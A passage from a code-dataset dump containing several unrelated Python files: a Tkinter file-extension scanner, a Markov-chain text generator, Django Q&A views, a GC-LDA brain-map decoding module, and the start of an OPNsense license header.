self.known_good_filetypes=saved_information.get_known_good_filetypes()\r\n self.known_bad_filetypes=saved_information.get_known_bad_filetypes()\r\n \r\n def set_scan_variables(self):\r\n self.current_directory=\"\"\r\n self.scaned_files=0\r\n self.file_extensions=[]\r\n self.file_type_object_list=[]\r\n \r\n def start(self):\r\n self.set_scan_variables()\r\n self.set_number_of_files()\r\n for root, dirs, files in os.walk(\"{0}\".format(self.scan_directory), topdown=True):\r\n for name in files:\r\n self.current_directory=\"{0}\\\\{1}\".format(root,name)\r\n self.scan_file(root,name)\r\n self.update_scan_gui(2)\r\n\r\n def set_number_of_files(self):\r\n print(self.scan_directory)\r\n self.number_of_files=0\r\n for root, dirs, files in os.walk(\"{0}\".format(self.scan_directory), topdown=True):\r\n self.number_of_files+=len(files)\r\n self.update_scan_gui(1)\r\n print(\"Number of files: {0}\".format(self.number_of_files))\r\n\r\n def scan_file(self,root,file):\r\n file_name,file_extension=os.path.splitext(\"{0}\".format(file))\r\n self.append_file_type(file_extension)\r\n self.update_file_type_object_list(root,file_extension,file_name)\r\n self.scaned_files+=1\r\n\r\n def append_file_type(self,file_extension):\r\n if file_extension not in self.file_extensions:\r\n self.file_extensions.append(file_extension)\r\n\r\n def update_file_type_object_list(self,file_path,file_extension,file_name):\r\n for item in self.file_type_object_list:\r\n if item.get_file_extension()==file_extension:\r\n item.add_file_to_list(\"{0}\\\\{1}\".format(file_path,file_name))\r\n break\r\n else:\r\n self.check_file_type_and_add_to_list(file_path,file_extension,file_name)\r\n\r\n def check_file_type_and_add_to_list(self,file_path,file_extension,file_name):\r\n if file_extension in self.known_good_filetypes:\r\n initilizer=\"KnownGood\"\r\n elif file_extension in self.known_bad_filetypes:\r\n initilizer=\"KnownBad\"\r\n else:\r\n initilizer=\"Unknown\"\r\n new_file_type=FileType(file_extension,initilizer)\r\n new_file_type.add_file_to_list(\"{0}\\\\{1}\".format(file_path,file_name))\r\n self.file_type_object_list.append(new_file_type)\r\n\r\n def update_scan_gui(self,part):\r\n if part==1:\r\n percent=\"GoThrough\"\r\n elif part==2:\r\n percent=self.scaned_files/self.number_of_files\r\n self.scan_gui.update_current_information(self.scaned_files,self.number_of_files,self.current_directory)\r\n self.scan_gui.update_progress_bar(percent,part,2)\r\n self.scan_gui.update_file_lists(self.file_type_object_list)\r\n\r\n\r\nclass FileType(object):\r\n def __init__(self,file_extension,file_consensus):\r\n self.file_extension=file_extension\r\n self.file_consensus=file_consensus\r\n self.file_type_locations=[]\r\n\r\n def get_file_extension(self):\r\n return self.file_extension\r\n def get_file_consensus(self):\r\n return self.file_consensus\r\n def get_number_of_files(self):\r\n return len(self.file_type_locations)\r\n def get_file_type_locations(self):\r\n return self.file_type_locations\r\n \r\n def add_file_to_list(self,file_path):\r\n self.file_type_locations.append(\"{0}{1}\".format(file_path,self.file_extension))\r\n\r\n def print_information(self):\r\n print(\"File extenstion: {0}\".format(self.file_extension))\r\n for item in self.file_type_locations:\r\n print(\" -> {0}\".format(item),end=\"\")\r\n print(\"\\t{0:7s} Consensus: {1}\".format(\"\",self.file_consensus))\r\n \r\n\r\nclass FileTypeEditor(object):\r\n def __init__(self,parrent_window,edit_type):\r\n self.edit_type=edit_type\r\n self.set_file_type_list()\r\n self.window=TkinterWrapper.DialogBox(parrent_window,\"Edit {0} File Types\".format(edit_type))\r\n self.__setup_window()\r\n self.__setup_frames()\r\n self.__setup_left_frame()\r\n self.__setup_right_frame()\r\n self.__setup_bottom_frame()\r\n self.update_listbox_text()\r\n\r\n def set_file_type_list(self):\r\n if self.edit_type==\"KnownGood\":\r\n self.file_type_list=saved_information.get_known_good_filetypes()\r\n elif self.edit_type==\"KnownBad\":\r\n self.file_type_list=saved_information.get_known_bad_filetypes()\r\n self.delete_list=[]\r\n self.append_list=[]\r\n \r\n def __setup_window(self):\r\n self.window.remove_min_max_buttons(True)\r\n self.window.resizable(False,False)\r\n self.window.bind_action(\"\",self.add_file_type)\r\n\r\n def __setup_frames(self):\r\n self.top_frame=TkinterWrapper.WindowFrame(self.window.get_window())\r\n self.bottom_frame=TkinterWrapper.WindowFrame(self.window.get_window())\r\n self.left_frame=TkinterWrapper.WindowFrame(self.top_frame.get_frame())\r\n self.right_frame=TkinterWrapper.WindowFrame(self.top_frame.get_frame())\r\n for item in [[self.top_frame,\"top\"],[self.left_frame,\"left\"],[self.right_frame,\"right\"],\r\n [self.bottom_frame,\"bottom\"]]:\r\n item[0].pack_frame(item[1],1,0)\r\n self.left_frame.configure_border(\"ridge\",2)\r\n\r\n def __setup_right_frame(self):\r\n self.file_type_listbox=TkinterWrapper.WindowListbox(self.right_frame.get_frame())\r\n self.file_type_listbox.configure_size(20,10)\r\n self.file_type_listbox.pack_listbox(\"left\",0,0)\r\n y_scrollbar=TkinterWrapper.WindowScrollbar(self.right_frame.get_frame(),\"y\")\r\n y_scrollbar.attach_to_widget(self.file_type_listbox.get_listbox())\r\n self.file_type_listbox.attach_scrollbar(\"y\",y_scrollbar.get_scrollbar())\r\n y_scrollbar.pack_scrollbar(\"left\",0,0)\r\n\r\n def __setup_left_frame(self):\r\n self.insert_explanitory_label(self.left_frame.get_frame(),\"Enter File Extension to Add:\")\r\n self.__setup_entry_frame()\r\n self.insert_explanitory_label(self.left_frame.get_frame(),\"Select a File Extension to Delete\")\r\n self.insert_button(self.left_frame.get_frame(),\"Delete\",self.delete_file_type,\"top\")\r\n self.error_frame=TkinterWrapper.WindowFrame(self.left_frame.get_frame())\r\n self.error_frame.pack_frame(\"top\",0,0)\r\n \r\n def __setup_entry_frame(self):\r\n entry_frame=TkinterWrapper.WindowFrame(self.left_frame.get_frame())\r\n entry_frame.pack_frame(\"top\",0,0)\r\n self.file_type_entry=TkinterWrapper.WindowEntry(entry_frame.get_frame())\r\n self.file_type_entry.configure_size(20)\r\n self.file_type_entry.pack_entry(\"left\",0,2)\r\n self.insert_button(entry_frame.get_frame(),\"Add\",self.add_file_type,\"left\")\r\n\r\n def __setup_bottom_frame(self):\r\n self.insert_button(self.bottom_frame.get_frame(),\"Cancel\",partial(self.window.destroy_window,False),\"left\")\r\n self.insert_button(self.bottom_frame.get_frame(),\"Save\",self.save_all_file_types_and_exit,\"left\")\r\n\r\n def insert_explanitory_label(self,frame,text):\r\n label=TkinterWrapper.WindowLabel(frame,text)\r\n label.configure_colors(\"dodgerblue2\",\"grey95\",\"times 11\")\r\n label.pack_label(\"top\",0,10)\r\n\r\n def insert_button(self,frame,button_text,button_action,side):\r\n button=TkinterWrapper.WindowButton(frame,button_text,button_action)\r\n button.pack_button(side,2,2)\r\n\r\n def add_file_type(self,*args):\r\n new_file_type=self.file_type_entry.get_entry()\r\n if len(new_file_type)>0 and new_file_type[0]==\".\" and (new_file_type not in self.file_type_list):\r\n self.file_type_list.append(new_file_type)\r\n self.append_list.append(new_file_type)\r\n self.update_listbox_text()\r\n self.file_type_entry.configure_entry_text(\"\")\r\n else:\r\n user_error=UserErrorMessage.UserErrorMessage(self.error_frame.get_frame(),\"Please enter a valid file type\")\r\n self.file_type_entry.select_range(0,\"end\")\r\n \r\n def delete_file_type(self):\r\n selection=self.file_type_listbox.get_current_selection()\r\n selection=self.file_type_listbox.get_text_from_index(selection)\r\n if selection!=None:\r\n for x in range(0,len(self.file_type_list)):\r\n if self.file_type_list[x]==selection:\r\n self.delete_list.append(self.file_type_list[x])\r\n del(self.file_type_list[x])\r\n break\r\n self.update_listbox_text()\r\n else:\r\n user_error=UserErrorMessage.UserErrorMessage(self.error_frame.get_frame(),\"Please select a file to delete\")\r\n \r\n def update_listbox_text(self):\r\n self.file_type_listbox.delete_text(0,\"end\")\r\n for item in self.file_type_list:\r\n self.file_type_listbox.insert_text(\"{0}\\n\".format(item),\"end\")\r\n\r\n def save_all_file_types_and_exit(self):\r\n for item in self.delete_list:\r\n saved_information.delete_file_type(self.edit_type,item)\r\n for item in self.append_list:\r\n saved_information.add_file_type(self.edit_type,item)\r\n self.window.destroy_window(False)\r\n\r\n \r\nclass SetDirWindow(object):\r\n def __init__(self,parent_window):\r\n self.window=TkinterWrapper.DialogBox(parent_window,\"Choose Folder\")\r\n self.directory_to_search=\"\"\r\n self.__setup_window()\r\n self.__setup_frames()\r\n self.__setup_information_frame()\r\n self.__setup_directory_frame()\r\n self.__setup_button_frame()\r\n self.window.start_mainloop()\r\n\r\n def __setup_window(self):\r\n self.window.remove_min_max_buttons(True)\r\n self.window.resizable(False,False)\r\n\r\n def __setup_frames(self):\r\n self.information_frame=TkinterWrapper.WindowFrame(self.window.get_window())\r\n self.directory_frame=TkinterWrapper.WindowFrame(self.window.get_window())\r\n self.button_frame=TkinterWrapper.WindowFrame(self.window.get_window())\r\n self.information_frame.pack_frame(\"top\",0,0)\r\n self.directory_frame.pack_frame(\"top\",0,0)\r\n self.button_frame.pack_frame(\"top\",0,0)\r\n\r\n def __setup_information_frame(self):\r\n description_label=TkinterWrapper.WindowLabel(self.information_frame.get_frame(),\"\")\r\n description_label.configure_text(\"Please chose a file to search from the list below:\")\r\n description_label.configure_colors(\"grey20\",\"grey95\",\"times 11\")\r\n description_label.pack_label(\"top\",0,5)\r\n\r\n def __setup_directory_frame(self):\r\n self.__setup_directory_entry_frame()\r\n self.__setup_directory_listbox_frame()\r\n\r\n def __setup_directory_entry_frame(self):\r\n directory_entry_frame=TkinterWrapper.WindowFrame(self.directory_frame.get_frame())\r\n directory_entry_frame.pack_frame(\"top\",0,0)\r\n current_directory_label=TkinterWrapper.WindowLabel(directory_entry_frame.get_frame(),\"Current Directory:\\n\")\r\n current_directory_label.pack_label(\"left\",0,0)\r\n current_directory_label.configure_colors(\"dodgerblue2\",\"grey95\",\"times 10\")\r\n self.current_directory_entry=TkinterWrapper.WindowEntry(directory_entry_frame.get_frame())\r\n self.current_directory_entry.configure_size(65)\r\n self.current_directory_entry.pack_entry(\"top\",0,0)\r\n x_scrollbar=TkinterWrapper.WindowScrollbar(directory_entry_frame.get_frame(),\"x\")\r\n x_scrollbar.attach_to_widget(self.current_directory_entry.get_entry_widget())\r\n self.current_directory_entry.attach_scrollbar(x_scrollbar.get_scrollbar())\r\n x_scrollbar.pack_scrollbar(\"bottom\",0,0)\r\n\r\n def __setup_directory_listbox_frame(self):\r\n directory_listbox_frame=TkinterWrapper.WindowFrame(self.directory_frame.get_frame())\r\n directory_listbox_frame.pack_frame(\"top\",0,0)\r\n self.dir_listbox=DirectoryListbox(directory_listbox_frame.get_frame(),self.current_directory_entry)\r\n\r\n def __setup_button_frame(self):\r\n self.search_button=TkinterWrapper.WindowButton(self.button_frame.get_frame(),\"Scan\",self.set_directory_and_destory_window)\r\n self.search_button.pack_button(\"top\",0,0)\r\n\r\n def set_directory_and_destory_window(self):\r\n self.directory_to_search=self.current_directory_entry.get_entry()\r\n print(\"Directory to scan: \"+self.directory_to_search)\r\n self.window.destroy_window(True)\r\n def get_saved_directory(self):\r\n return self.directory_to_search\r\n \r\n\r\n#Might have to split up into two classes: DirectoryListboxFormating and DirectoryListboxActions\r\nclass DirectoryListbox(TkinterWrapper.WindowListbox):\r\n def __init__(self,frame,companion_text_entry):\r\n self.frame=frame\r\n self.selections=[\"\",\"\"]\r\n self.current_directory_entry=companion_text_entry\r\n self.computer_directory=ComputerDirectory()\r\n self.__setup_listbox_frame()\r\n self.__setup_error_frame()\r\n self.insert_harddrives()\r\n self.start_checking_for_selection()\r\n\r\n def __setup_listbox_frame(self):\r\n self.listbox_frame=TkinterWrapper.WindowFrame(self.frame)\r\n self.listbox_frame.pack_frame(\"top\",0,0)\r\n super(DirectoryListbox, self).__init__(self.listbox_frame.get_frame())\r\n super(DirectoryListbox, self).pack_listbox(\"left\",0,0)\r\n super(DirectoryListbox, self).configure_size(80,10)\r\n self.__setup_scrollbar()\r\n def __setup_scrollbar(self):\r\n y_scrollbar=TkinterWrapper.WindowScrollbar(self.listbox_frame.get_frame(),\"y\")\r\n y_scrollbar.attach_to_widget(super(DirectoryListbox, self).get_listbox())\r\n super(DirectoryListbox, self).attach_scrollbar(\"y\",y_scrollbar.get_scrollbar())\r\n y_scrollbar.pack_scrollbar(\"left\",0,0)\r\n\r\n def __setup_error_frame(self):\r\n self.error_frame=TkinterWrapper.WindowFrame(self.frame)\r\n self.error_frame.pack_frame(\"top\",0,0)\r\n\r\n def insert_harddrives(self):\r\n super(DirectoryListbox, self).delete_text(0,\"end\")\r\n for harddrive in self.computer_directory.get_harddrives():\r\n print(harddrive)\r\n super(DirectoryListbox, self).insert_text(\"{0} {1}\\n\".format(RIGHT_TRIANGLE,harddrive),\"end\")\r\n\r\n def start_checking_for_selection(self):\r\n self.selections[0]=super(DirectoryListbox, self).get_current_selection()\r\n self.selections[0]=super(DirectoryListbox, self).get_text_from_index(self.selections[0])\r\n if self.selections[0]!=self.selections[1] and self.selections[0]!=None:\r\n print(\"Selection changed to: {0}\".format(self.selections[0]))\r\n self.selection_actions()\r\n self.selections[1]=self.selections[0]\r\n self.frame.after(250,self.start_checking_for_selection)\r\n\r\n def selection_actions(self):\r\n if RIGHT_TRIANGLE in self.selections[0]:\r\n self.go_to_subdirectory()\r\n elif LEFT_TRIANGLE in self.selections[0]:\r\n self.go_up_directory()\r\n\r\n def go_to_subdirectory(self):\r\n self.computer_directory.set_current_directory(self.get_rid_of_arrows_in_directory(self.selections[0]))\r\n subdirectories=self.computer_directory.get_sub_directories()\r\n if subdirectories!=\"ACCESS DENIED\":\r\n self.update_directory_entry()\r\n self.add_directional_information()\r\n for subdirectory in subdirectories:\r\n super(DirectoryListbox, self).insert_text(\" {0} {1}\\n\".format(RIGHT_TRIANGLE,subdirectory),\"end\")\r\n else:\r\n error_message=UserErrorMessage.UserErrorMessage(self.error_frame.get_frame(),\"Access to file was denied.\")\r\n self.go_up_directory()\r\n print(\"Access to file denied\")\r\n\r\n def add_directional_information(self):\r\n super(DirectoryListbox, self).delete_text(0,\"end\")\r\n super(DirectoryListbox, self).insert_text(\"{0} Back to {1}\\n\".format(LEFT_TRIANGLE,self.computer_directory.get_previous_directory()),\"end\")\r\n super(DirectoryListbox, self).insert_text(\"{0} {1}\\n\".format(DOWN_TRIANGLE,self.computer_directory.get_current_directory()),\"end\")\r\n\r\n def get_rid_of_arrows_in_directory(self,directory):\r\n for x in range(0,len(directory)):\r\n if (directory[x]!=RIGHT_TRIANGLE and directory[x]!=DOWN_TRIANGLE and directory[x]!=LEFT_TRIANGLE)\\\r\n and ((x!=1 or x!=2 or x!=3) and (directory[x]!=\" \")):\r\n directory=directory[x:len(directory):1]\r\n break\r\n return directory\r\n\r\n def go_up_directory(self):\r\n self.computer_directory.trim_from_current_directory(1)\r\n self.update_directory_entry()\r\n new_directories=self.computer_directory.get_sub_directories()\r\n if new_directories!=self.computer_directory.get_harddrives():\r\n self.add_directional_information()\r\n else:\r\n super(DirectoryListbox, self).delete_text(0,\"end\")\r\n for new_directory in new_directories:\r\n super(DirectoryListbox, self).insert_text(\" {0} {1}\\n\".format(RIGHT_TRIANGLE,new_directory),\"end\")\r\n\r\n def update_directory_entry(self):\r\n self.current_directory_entry.configure_entry_text(self.computer_directory.get_formated_current_directory())\r\n \r\n \r\nclass ComputerDirectory(object):\r\n def __init__(self):\r\n self.harddrives=[]\r\n self.current_directory=[]\r\n self.formated_current_directory=\"\"\r\n self.find_harddrives()\r\n\r\n def find_harddrives(self):\r\n self.harddrives=[\"{0}:\".format(drive) for drive in ALAPHABET if os.path.exists(\"{0}:\\\\\".format(drive))]\r\n def get_harddrives(self):\r\n return self.harddrives\r\n\r\n def set_current_directory(self, directory):\r\n self.current_directory.append(\"{0}\\\\\".format(directory))\r\n self.set_formated_current_directory()\r\n print(\"Current Dir: \",self.current_directory)\r\n\r\n def get_current_directory(self):\r\n return self.current_directory[len(self.current_directory)-1]\r\n def get_previous_directory(self):\r\n if len(self.current_directory)==1:\r\n return \"Hard drives\"\r\n else:\r\n return self.current_directory[(len(self.current_directory)-1)-1]\r\n\r\n def trim_from_current_directory(self,number_of_levels):\r\n self.delete_last_directories(number_of_levels)\r\n self.set_formated_current_directory()\r\n print(\"Current Dir: \",self.current_directory)\r\n\r\n def delete_last_directories(self,number_of_levels):\r\n for x in range(0,len(self.current_directory)):\r\n if len(self.current_directory)-x<=number_of_levels:\r\n del(self.current_directory[x])\r\n break\r\n print(self.current_directory)\r\n\r\n def get_sub_directories(self):\r\n if len(self.current_directory)==0:\r\n return self.harddrives\r\n else:\r\n try:\r\n os.listdir(self.formated_current_directory)\r\n except:\r\n print(\"Error opening file\")\r\n return \"ACCESS DENIED\"\r\n else:\r\n sub_directories=[sub_dir for sub_dir in os.listdir(self.formated_current_directory) if os.path.isdir(os.path.join(self.formated_current_directory, sub_dir))]\r\n print(sub_directories)\r\n return sub_directories\r\n \r\n def set_formated_current_directory(self):\r\n self.formated_current_directory=\"\"\r\n for x in range(0,len(self.current_directory)):\r\n self.formated_current_directory=\"{0}{1}\".format(self.formated_current_directory,self.current_directory[x])\r\n print(\"Formated Cur Dir: \"+self.formated_current_directory)\r\n def get_formated_current_directory(self):\r\n return self.formated_current_directory\r\n\r\n\r\nclass SavedInfo(object):\r\n def __init__(self):\r\n self.known_good_file=FileWrapper.File(os.curdir,\"KnownGoodFiletypes.txt\")\r\n self.known_bad_file=FileWrapper.File(os.curdir,\"KnownBadFiletypes.txt\")\r\n self.__setup_filetypes()\r\n self.directory_to_scan=\"\"\r\n\r\n def __setup_filetypes(self):\r\n self.known_good_filetypes=self.known_good_file.read_lines(0,'end')\r\n self.known_bad_filetypes=self.known_bad_file.read_lines(0,'end')\r\n\r\n def get_known_good_filetypes(self):\r\n good_file_types=self.known_good_filetypes\r\n return good_file_types[0:len(good_file_types)]\r\n def get_known_bad_filetypes(self):\r\n bad_file_types=self.known_bad_filetypes\r\n return bad_file_types[0:len(bad_file_types)]\r\n\r\n def add_file_type(self,file_consensus,file_type):\r\n if file_consensus==\"KnownGood\":\r\n self.known_good_filetypes.append(file_type)\r\n elif file_consensus==\"KnownBad\":\r\n self.known_bad_filetypes.append(file_type)\r\n def delete_file_type(self,file_consensus,file_type):\r\n if file_consensus==\"KnownGood\":\r\n file_list=self.known_good_filetypes\r\n elif file_consensus==\"KnownBad\":\r\n file_list=self.known_bad_filetypes\r\n for x in range(0,len(file_list)):\r\n if file_list[x]==file_type:\r\n del(file_list[x])\r\n break\r\n \r\n def set_directory_to_scan(self,new_directory):\r\n self.directory_to_scan=new_directory\r\n def get_directory_to_scan(self):\r\n return self.directory_to_scan\r\n\r\n def save_info_to_file(self):\r\n self.known_good_file.delete_all_file_contents()\r\n self.known_bad_file.delete_all_file_contents()\r\n for item in self.known_good_filetypes:\r\n self.known_good_file.append_line_to_file(item)\r\n for item in self.known_bad_filetypes:\r\n self.known_bad_file.append_line_to_file(item)\r\n\r\n def close_all_files(self):\r\n self.known_good_file.close_file()\r\n self.known_bad_file.close_file()\r\n\r\n\r\n\r\ndef main():\r\n application_window=AppWindow()\r\n print(\"here\")\r\n saved_information.save_info_to_file()\r\n saved_information.close_all_files()\r\nsaved_information=SavedInfo()\r\nmain()\r\n","sub_path":"FileScanner.pyw","file_name":"FileScanner.pyw","file_ext":"pyw","file_size_in_byte":42493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"7517000","text":"import sys\nimport random\npunctuation = ['.', ',', '!', '?', ';', '\"', \"(\", \")\", '\\'']\nend_punctuation = [\".\", \"!\", \"?\"]\ndef parse(text):\n words = []\n start = 0\n spaces = [' ', '\\n', '\\t', '\\r']\n for cur, char in enumerate(text):\n if text[start] in spaces:\n start = cur\n continue\n if char in spaces or char in punctuation:\n word = text[start : cur]\n words.append(word)\n start = cur\n return words\n\ndef build_markov_chain(words):\n chains = {}\n for i, word in enumerate(words):\n\n if word not in chains and word not in end_punctuation:\n chains[word] = {}\n if i == 0:\n continue\n prev_word = words[i - 1]\n if prev_word in end_punctuation:\n continue\n if word not in chains[prev_word]:\n chains[prev_word][word] = 0\n chains[prev_word][word] += 1\n return chains\n\ndef generate_sentence(word, chains, sentence):\n sentence.append(word)\n if word in end_punctuation:\n return sentence\n\n next_words = chains[word]\n next_word = random.choices([k for k in next_words.keys()], weights = [v for v in next_words.values()]) [0]\n return generate_sentence(next_word, chains, sentence)\n\n\ndef main():\n filename = sys.argv[1]\n with open(filename) as f:\n text = f.read()\n words = parse(text)\n chains = build_markov_chain(words)\n start_words = [w for w in chains.keys() if w[0].isupper()]\n start_word = random.choice(start_words)\n sentence = generate_sentence(start_word, chains, [])\n sentenceSTR = \"\"\n for word in sentence:\n if word in punctuation:\n sentenceSTR = sentenceSTR[: -1]\n sentenceSTR += word\n sentenceSTR += \" \"\n print(sentenceSTR)\n\nmain()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"56638927","text":"from django.shortcuts import render\nfrom django.shortcuts import render, Http404, get_object_or_404, HttpResponsePermanentRedirect\nfrom django.http import HttpResponse\nfrom models import Question, Answer\nfrom forms import AskForm, AnswerForm\nfrom django.core.paginator import Paginator\n\ndef test(request, page=2):\n return HttpResponse('
'+page+'
')\n\ndef error (request, *args, **kwargs):\n raise Http404('Not working')\n# Create your views here.\ndef qa_new(request):\n last_questions = Question.objects.order_by('id')\n limit = request.GET.get('limit', 10)\n page = request.GET.get('page', 1)\n paginator = Paginator(last_questions, limit)\n paginator.baseurl = '/?page='\n page = paginator.page(page)\n return render(request, 'qa_new.html', {\n 'last_questions': page.object_list,\n 'paginator': paginator,\n 'page': page,\n })\n\ndef qa_popular(request):\n questions = Question.objects.order_by('-rating')\n limit = request.GET.get('limit', 10)\n page = request.GET.get('page')\n paginator = Paginator(questions, limit)\n paginator.baseurl = '/popular/?page='\n page = paginator.page(page)\n return render(request, 'qa_popular.html', {\n 'questions': page.object_list,\n 'paginator': paginator,\n 'page': page,\n })\n\ndef qa_question(request, question_id):\n question = get_object_or_404(Question, id=question_id)\n answers = Answer.objects.filter(question=question_id)\n if request.method is 'POST':\n return answer_form(request)\n form = AnswerForm()\n context = {\n 'title': question.title,\n 'text': question.text,\n 'answers': answers,\n 'rating': question.rating,\n 'from': form,\n }\n return render(request, 'qa_question.html', context)\n","sub_path":"ask/qa/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"598225079","text":"# emacs: -*- mode: python-mode; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\n# ex: set sts=4 ts=4 sw=4 et:\n\"\"\"\nClass and functions for functional decoding.\n\"\"\"\nfrom __future__ import print_function, division\n\nfrom builtins import object\nimport numpy as np\nimport pandas as pd\nimport nibabel as nib\nfrom nilearn.masking import apply_mask, unmask\nfrom sklearn.feature_extraction.text import CountVectorizer\n\nfrom .due import due, Doi\n\n\n@due.dcite(Doi('10.1371/journal.pcbi.1005649'),\n description='Describes decoding methods using GC-LDA.')\nclass Decoder(object):\n \"\"\"\n Class object for a gcLDA decoder\n \"\"\"\n def __init__(self, model):\n \"\"\"\n Class object for a gcLDA decoder\n \"\"\"\n self.model = model\n self.dataset = model.dataset\n\n def decode_roi(self, roi, topic_priors=None):\n \"\"\"\n Perform image-to-text decoding for discrete image inputs (e.g., regions\n of interest, significant clusters).\n\n 1. Compute p_topic_g_voxel.\n - I think you need p_voxel_g_topic for this, then you do:\n - p_topic_g_voxel = p_voxel_g_topic * p_topic / p_voxel\n - What is p_voxel here?\n 2. Compute topic weight vector (tau_t).\n - topic_weights = np.sum(p_topic_g_voxel, axis=1) (across voxels)\n 3. Multiply tau_t by topic-by-word matrix (p_word_g_topic).\n 4. The resulting vector (tau_t*p_word_g_topic) should be word weights\n for your selected studies.\n \"\"\"\n if type(roi) == str:\n roi = nib.load(roi)\n\n if not np.array_equal(roi.affine, self.model.dataset.mask_img.affine):\n str1 = np.array2string(roi.affine)\n str2 = np.array2string(self.model.dataset.mask_img.affine)\n raise ValueError('Input roi must have same affine as mask img:'\n '\\n{0}\\n{1}'.format(str1, str2))\n\n # Load ROI file and get ROI voxels overlapping with brain mask\n roi_arr = roi.get_data() & self.model.dataset.mask_img.get_data()\n roi_voxels = np.where(roi_arr > 0)[0]\n\n p_topic_g_voxel, _ = self.model.get_spatial_probs()\n p_topic_g_roi = p_topic_g_voxel[roi_voxels, :] # p(T|V) for voxels in ROI only\n topic_weights = np.sum(p_topic_g_roi, axis=0) # Sum across words\n if topic_priors is not None:\n topic_weights *= topic_priors\n topic_weights /= np.sum(topic_weights) # tau_t\n\n # Multiply topic_weights by topic-by-word matrix (p_word_g_topic).\n n_word_tokens_per_topic = np.sum(self.model.n_word_tokens_word_by_topic, axis=0)\n p_word_g_topic = self.model.n_word_tokens_word_by_topic / n_word_tokens_per_topic[None, :]\n p_word_g_topic = np.nan_to_num(p_word_g_topic, 0)\n word_weights = np.dot(p_word_g_topic, topic_weights)\n\n decoded_df = pd.DataFrame(index=self.model.dataset.word_labels, columns=['Weight'],\n data=word_weights)\n decoded_df.index.name = 'Term'\n return decoded_df, topic_weights\n\n def decode_continuous(self, image, topic_priors=None):\n \"\"\"\n Perform image-to-text decoding for continuous inputs (e.g.,\n unthresholded statistical maps).\n\n 1. Compute p_topic_g_voxel.\n 2. Compute topic weight vector (tau_t) by multiplying p_topic_g_voxel\n by input image.\n 3. Multiply tau_t by topic-by-word matrix (p_word_g_topic).\n 4. The resulting vector (tau_t*p_word_g_topic) should be word weights\n for your map, but the values are scaled based on the input image, so\n they won't necessarily mean much.\n \"\"\"\n # Load image file and get voxel values\n input_values = apply_mask(image, self.model.dataset.mask_img)\n p_topic_g_voxel, _ = self.model.get_spatial_probs()\n topic_weights = np.abs(np.squeeze(np.dot(p_topic_g_voxel.T, input_values[:, None])))\n if topic_priors is not None:\n topic_weights *= topic_priors\n topic_weights /= np.sum(topic_weights) # tau_t\n\n # Multiply topic_weights by topic-by-word matrix (p_word_g_topic).\n n_word_tokens_per_topic = np.sum(self.model.n_word_tokens_word_by_topic, axis=0)\n p_word_g_topic = self.model.n_word_tokens_word_by_topic / n_word_tokens_per_topic[None, :]\n p_word_g_topic = np.nan_to_num(p_word_g_topic, 0)\n word_weights = np.dot(p_word_g_topic, topic_weights)\n\n decoded_df = pd.DataFrame(index=self.model.dataset.word_labels, columns=['Weight'],\n data=word_weights)\n decoded_df.index.name = 'Term'\n return decoded_df, topic_weights\n\n def encode(self, text, out_file=None, topic_priors=None):\n \"\"\"\n Perform text-to-image encoding.\n\n 1. Compute p_topic_g_word.\n - p_topic_g_word = p_word_g_topic * p_topic / p_word\n - p_topic is uniform (1/n topics)\n 2. Compute topic weight vector (tau_t).\n - tau_t = np.sum(p_topic_g_word, axis=1) (across words)\n 3. Multiply tau_t by topic-by-voxel matrix of smoothed p_voxel_g_topic\n (A; not sure where it is, but I don't think it's the same as A in\n model.py).\n 4. The resulting map (tau_t*A) is the encoded image. Values are *not*\n probabilities.\n \"\"\"\n if isinstance(text, list):\n text = ' '.join(text)\n\n # Assume that words in word_labels are underscore-separated.\n # Convert to space-separation for vectorization of input string.\n vocabulary = [term.replace('_', ' ') for term in self.model.dataset.word_labels]\n max_len = max([len(term.split(' ')) for term in vocabulary])\n vectorizer = CountVectorizer(vocabulary=self.model.dataset.word_labels,\n ngram_range=(1, max_len))\n word_counts = np.squeeze(vectorizer.fit_transform([text]).toarray())\n keep_idx = np.where(word_counts > 0)[0]\n text_counts = word_counts[keep_idx]\n\n n_topics_per_word_token = np.sum(self.model.n_word_tokens_word_by_topic, axis=1)\n p_topic_g_word = self.model.n_word_tokens_word_by_topic / n_topics_per_word_token[:, None]\n p_topic_g_word = np.nan_to_num(p_topic_g_word, 0)\n p_topic_g_text = p_topic_g_word[keep_idx] # p(T|W) for words in text only\n prod = p_topic_g_text * text_counts[:, None] # Multiply p(T|W) by words in text\n topic_weights = np.sum(prod, axis=0) # Sum across words\n if topic_priors is not None:\n topic_weights *= topic_priors\n topic_weights /= np.sum(topic_weights) # tau_t\n\n _, p_voxel_g_topic = self.model.get_spatial_probs()\n voxel_weights = np.dot(p_voxel_g_topic, topic_weights)\n voxel_weights_matrix = unmask(voxel_weights, self.model.dataset.mask_img)\n\n img = nib.Nifti1Image(voxel_weights_matrix, self.model.dataset.mask_img.affine)\n if out_file is not None:\n img.to_filename(out_file)\n return img, topic_weights\n","sub_path":"gclda/decode.py","file_name":"decode.py","file_ext":"py","file_size_in_byte":7117,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"604990399","text":"#!/usr/local/bin/python2.7\n\n\"\"\"\n Copyright (c) 2015 Jos Schellevis - Deciso B.V.\n All rights reserved.\n\n Redistribution and use in source and binary forms, with or without\n modification, are permitted provided that the following conditions are met:\n\n 1. Redistributions of source code must retain the above copyright notice,\n this list of conditions and the following disclaimer.\n\n 2. Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in the\n documentation and/or other materials provided with the distribution.\n\n THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES,\n INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY\n AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,\n OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR 